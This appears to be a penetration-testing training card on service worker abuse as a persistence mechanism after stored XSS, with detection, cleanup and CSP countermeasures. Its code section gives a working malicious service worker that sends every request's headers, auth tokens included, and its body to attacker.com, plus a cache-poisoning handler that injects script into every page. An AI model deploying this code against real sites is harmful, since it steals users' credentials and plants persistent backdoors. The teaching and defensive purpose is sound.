Service worker abuse
Theory
Why This Matters
Service worker abuse as a post-XSS persistence mechanism was first demonstrated publicly in 2017 by researchers at PortSwigger, who showed that a stored XSS payload could register a malicious service worker that intercepted all subsequent requests to the same origin — surviving page refreshes, session logouts, and browser tab closures. In 2020, a bug bounty report against a major social platform demonstrated that combining a single stored XSS with service worker registration created an indefinitely persistent backdoor capable of exfiltrating all future authentication tokens, form data, and API responses without any further interaction from the victim. The combination of XSS + service worker transforms a typically transient vulnerability into one with near-APT-level persistence characteristics. OWASP A07:2021 (Identification and Authentication Failures) and A03:2021 (Injection) intersect here: the injection enables the persistence, and the persistence subverts authentication.
Core Concept
A service worker is a JavaScript file that runs in a background thread, separate from the main browser tab, and acts as a programmable proxy between the web application and the network. Service workers are designed for offline capability and push notifications, but their ability to intercept, modify, and cache network requests makes them a powerful attack primitive when registered by malicious code.
The violated invariant is that service worker registration should only be performed by trusted application code. When an XSS payload can call navigator.serviceWorker.register('https://attacker.com/evil-sw.js', {scope: '/'}), the attacker registers a service worker that persists after the XSS payload's page session ends.
Key persistence properties that distinguish service worker abuse from standard XSS:
- The service worker remains active across page refreshes and browser tab closures.
- The service worker persists until explicitly unregistered (via DevTools or navigator.serviceWorker.getRegistrations()) or until the browser's service worker storage is cleared.
- A session logout that invalidates the server-side session does not remove the service worker; the worker continues intercepting requests and can exfiltrate new authentication tokens after the victim re-logs in.
Registration scope is a critical constraint: the service worker script file (sw.js) must be served from the same origin as the scope it registers for. A service worker at https://victim.com/sw.js with scope: '/' intercepts all requests to https://victim.com/*. The path of the service worker file limits its scope to that path and below — a worker at https://victim.com/static/sw.js cannot register scope: '/' without special headers (Service-Worker-Allowed).
Cache poisoning via service worker fetch handler: a malicious service worker can intercept navigation and resource requests and substitute malicious responses — injecting JavaScript into every page load from the same origin, even pages that are not vulnerable to XSS.
HTTPS-only requirement: browsers only allow service worker registration on HTTPS origins (or localhost). This is a browser-enforced protection, but production applications almost universally use HTTPS, so this constraint rarely prevents exploitation in real engagements.
Clearing service workers: victims can inspect and unregister service workers via Chrome DevTools (Application tab → Service Workers → Unregister). Security teams should include service worker cleanup in incident response playbooks when XSS is confirmed.
Technical Deep-Dive
// Step 1: XSS payload that registers a malicious service worker
// Injected via stored XSS in a comment, profile bio, or any stored field
// The attacker hosts evil-sw.js at https://attacker.com/evil-sw.js
// BUT: the service worker file must be served from the SAME ORIGIN as the scope
// Therefore, the attacker must first write the service worker file to the origin
// via an upload feature, or use a JSONP/open-redirect to load cross-origin code
// Prerequisite: attacker can write a JS file to victim.com/uploads/sw.js
// (via file upload feature that allows JS upload, or JSONP endpoint)
// XSS payload to register the service worker:
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
.then(reg => console.log('SW registered:', reg.scope))
.catch(err => console.log('SW registration failed:', err));
// evil-sw.js — malicious service worker installed on victim origin
// Intercepts all fetch requests and exfiltrates request details
self.addEventListener('fetch', event => {
const req = event.request.clone();
// Exfiltrate request URL, headers (including Auth tokens), and body
req.text().then(body => {
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
url: req.url,
method: req.method,
headers: Object.fromEntries(req.headers.entries()),
body: body
}),
keepalive: true
});
}).catch(() => {});
// Forward original request normally (victim does not notice interception)
event.respondWith(fetch(event.request));
});
// Cache poisoning variant — inject malicious JS into every HTML response:
self.addEventListener('fetch', event => {
if (event.request.headers.get('accept').includes('text/html')) {
event.respondWith(
fetch(event.request).then(response => {
return response.text().then(body => {
const poisoned = body.replace(
'</body>',
'<script>/* persistent backdoor payload */</script></body>'
);
return new Response(poisoned, {
headers: response.headers
});
});
})
);
} else {
event.respondWith(fetch(event.request));
}
});
// Detecting installed service workers on a page (defender / investigator):
navigator.serviceWorker.getRegistrations().then(regs => {
regs.forEach(reg => {
console.log('Registered SW:', reg.scope, reg.active.scriptURL);
});
});
// Unregistering all service workers (incident response):
navigator.serviceWorker.getRegistrations().then(regs => {
regs.forEach(reg => reg.unregister().then(ok => console.log('Unregistered:', ok)));
});
// Also clear the Cache API storage:
caches.keys().then(keys => {
keys.forEach(key => caches.delete(key));
});
# In Burp Suite — detecting service worker registration attempts:
# Look for requests in HTTP history to paths ending in sw.js, service-worker.js,
# or any JS file served with Service-Worker-Allowed header
# Check browser DevTools for active service workers:
# Chrome: DevTools → Application → Service Workers
# Firefox: about:debugging#/runtime/this-firefox
# Check Cache Storage for poisoned entries:
# Chrome: DevTools → Application → Cache Storage
Security Assessment Methodology
- Identify XSS entry points with stored characteristics — Service worker abuse requires persistent XSS (stored or DOM-based with a stable URL). Reflected XSS is insufficient because the worker is only registered while the victim is on the injected page.
- Assess service worker registration feasibility — Determine whether the origin allows service worker registration. Check for any
Service-Worker-Allowedheaders and identify upload features that could serve a worker script from the target origin. - Test service worker scope restrictions — Verify which scope a worker registered from an upload path can control. A worker at
/uploads/sw.jscan only control/uploads/*by default unlessService-Worker-Allowed: /is set. - Craft a minimal registration PoC — Inject
navigator.serviceWorker.register('/path/to/controlled/sw.js').then(r=>console.log(r.scope))as the XSS payload. Confirm registration via DevTools → Application → Service Workers. - Demonstrate persistence — After registering the worker, close and reopen the tab, or navigate away and back. Confirm the worker is still listed as active without re-injecting the XSS payload.
- Demonstrate fetch interception — Activate the malicious service worker and make a request that would normally include an auth token (e.g., visit a protected page). Verify that the worker's fetch handler receives the token via the exfiltration callback.
- Document clearance steps — In the report, include remediation instructions for affected users: manually unregister via DevTools, clear Cache Storage, clear site data, or programmatically unregister with the JavaScript snippet above.
Defensive Countermeasure — The root cause is always an underlying XSS vulnerability that allowed the worker registration; fix the XSS first. As defence-in-depth, implement a strict
Content-Security-Policywithworker-src 'self'to prevent service workers from being loaded from attacker-controlled origins. Ensure that user-uploaded files cannot be served with JavaScript MIME types or theService-Worker-Allowedresponse header from the main application origin. SetCross-Origin-Opener-Policy: same-originandCross-Origin-Resource-Policy: same-originheaders to reduce cross-origin exposure. Include service worker audit steps (navigator.serviceWorker.getRegistrations()) in application security monitoring and incident response procedures.
Common Assessment Errors
- Treating service worker XSS as a same-severity finding as standard stored XSS — The persistence dimension fundamentally elevates impact. A stored XSS that can register a service worker should be rated critical regardless of other factors, because the window of exploitation extends indefinitely beyond the initial session.
- Forgetting scope limitations — Reporting that a service worker can intercept all same-origin traffic without verifying the scope constraint (worker file path limits scope) leads to inflated impact statements. Always verify the actual registrable scope.
- Not testing HTTPS enforcement — Attempting to register a service worker on HTTP origins will fail silently. Confirm the application is served over HTTPS before attempting worker registration.
- Missing the Cache Storage vector — A service worker can populate the Cache API with malicious responses. Even after the worker is unregistered, cached poisoned responses may continue to be served by the browser. Always clear Cache Storage during remediation.
- Not documenting the clearance steps — A service worker XSS report without victim-side remediation instructions leaves the report incomplete. Security teams and affected users need explicit instructions to remove the persistent backdoor.
- Conflating service worker scope with iframe origin — A service worker registered at
/uploads/sw.jscontrols/uploads/*by default; a cross-origin iframe does not share service worker scope with the parent. These are distinct origin isolation concepts.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Develops understanding of service worker registration as a post-XSS persistence mechanism and cache poisoning vector |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Covers service worker scope, HTTPS requirement, persistence properties, and Cache API interaction |
| S0001 | Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems | Trains service worker registration PoC construction, scope verification, and DevTools-based detection methodology |
| S0044 | Skill in mimicking threat behaviors | Builds adversarial skill in fetch interception payload crafting and persistent backdoor deployment via stored XSS |
| T0028 | Task: Identify systemic security issues based on vulnerability and configuration data | Develops ability to identify service worker abuse as a persistence amplifier for XSS and to recommend worker-src CSP controls |
Further Reading
- Service Worker Security Considerations — W3C Service Workers Specification, Section 12
- Hacking with Service Workers — Jake Champion & Gareth Heyes, PortSwigger Research Blog (2017)
- The Service Worker Lifecycle — Jake Archibald, web.dev (Google developers)
- OWASP Cross-Site Scripting Prevention Cheat Sheet — OWASP Foundation
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.